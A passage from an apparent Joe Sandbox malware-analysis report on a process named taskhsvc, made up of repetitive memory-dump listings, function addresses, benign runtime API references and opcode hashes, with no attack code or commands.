                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 9761ede7d56fc287ea9ccb6ae914c44ce2e9dcdcbbf03b71c23a9529390975f3
                                        • Instruction ID: a428b7041891e798744d90133597c09d85d95ace99ff042ee76e7dceb57cc81e
                                        • Opcode Fuzzy Hash: 9761ede7d56fc287ea9ccb6ae914c44ce2e9dcdcbbf03b71c23a9529390975f3
                                        • Instruction Fuzzy Hash: 1EF03070108201DAD700BFA0C556B2EBBE0EF80358F01C89CB5D59A2D2CBB99484DB6B
                                        Function 00C319D3 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00CAC702), ref: 00C31A21
                                          • Part of subcall function 00D18B88: abort.MSVCRT ref: 00D18BEE
                                          • Part of subcall function 00D18B88: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C319FB), ref: 00D18C4C
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort
                                        • String ID:
                                        • API String ID: 646538096-0
                                        • Opcode ID: 92ae56ecc7ed8ee84a900463518a8ea537efe4e63ad7bda02eaa8bd7d39e4f87
                                        • Instruction ID: 65b0ae3d7a37270e3c8e2bf0fd004f833a98b3fa9a39bdfa6d88dec64af6df7a
                                        • Opcode Fuzzy Hash: 92ae56ecc7ed8ee84a900463518a8ea537efe4e63ad7bda02eaa8bd7d39e4f87
                                        • Instruction Fuzzy Hash: 43F0D474E042099FCF40DFA9C985AAEB7F0EB09311F058565E928EB340E774E9429FA0
                                        Function 00BC48E8 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00CA622F: __stack_chk_fail.LIBSSP-0 ref: 00CA635C
                                          • Part of subcall function 00CA6394: __stack_chk_fail.LIBSSP-0 ref: 00CA6427
                                          • Part of subcall function 00BC2D88: __stack_chk_fail.LIBSSP-0 ref: 00BC2DFB
                                          • Part of subcall function 00C74695: __stack_chk_fail.LIBSSP-0 ref: 00C74746
                                          • Part of subcall function 00C5B0C8: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C5A866), ref: 00C5B107
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC4935
                                          • Part of subcall function 00CA8ABB: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C567FF), ref: 00CA8AF4
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 3ca95dbf8b09e6de62d926265ddc9fbe07d77ff69150763813fab702ccd88ba8
                                        • Instruction ID: ad4e77b80096b046d76f845d54203449ad82db8bb9718ae476c1d34821b9a0c4
                                        • Opcode Fuzzy Hash: 3ca95dbf8b09e6de62d926265ddc9fbe07d77ff69150763813fab702ccd88ba8
                                        • Instruction Fuzzy Hash: 75E04F74A001078ACF10BBF48153B2EB7E4DE0330DF06485CB864DB142DF74E842AA76
                                        Function 00BDEA25 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BDFEE4: time.MSVCRT ref: 00BDFF0D
                                          • Part of subcall function 00BDFEE4: abort.MSVCRT ref: 00BDFF79
                                          • Part of subcall function 00BDFEE4: abort.MSVCRT ref: 00BDFFB8
                                          • Part of subcall function 00BDFEE4: abort.MSVCRT ref: 00BDFFFE
                                          • Part of subcall function 00BDFEE4: __stack_chk_fail.LIBSSP-0 ref: 00BE0783
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BDEAB7
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_fail$time
                                        • String ID:
                                        • API String ID: 3046035491-0
                                        • Opcode ID: 4301b81a1125ac7b87d1ac6015fbcedff48c41e0edcef860a8242e34133b7416
                                        • Instruction ID: d23702912e1f4620fd4c7a59668cd71df443e2463831986a8cb1ead2f03b6ec3
                                        • Opcode Fuzzy Hash: 4301b81a1125ac7b87d1ac6015fbcedff48c41e0edcef860a8242e34133b7416
                                        • Instruction Fuzzy Hash: 4AE0E5B6A082158FCB00EF69EA81659F7F0FB88310F06846BE508EB320E231E805CB55
                                        Function 00CE38C7 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D30A40: __stack_chk_fail.LIBSSP-0 ref: 00D30A60
                                        • __stack_chk_fail.LIBSSP-0 ref: 00CE3900
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                          • Part of subcall function 00CCF6A9: free.MSVCRT ref: 00CCF754
                                          • Part of subcall function 00CCF6A9: __stack_chk_fail.LIBSSP-0 ref: 00CCF869
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
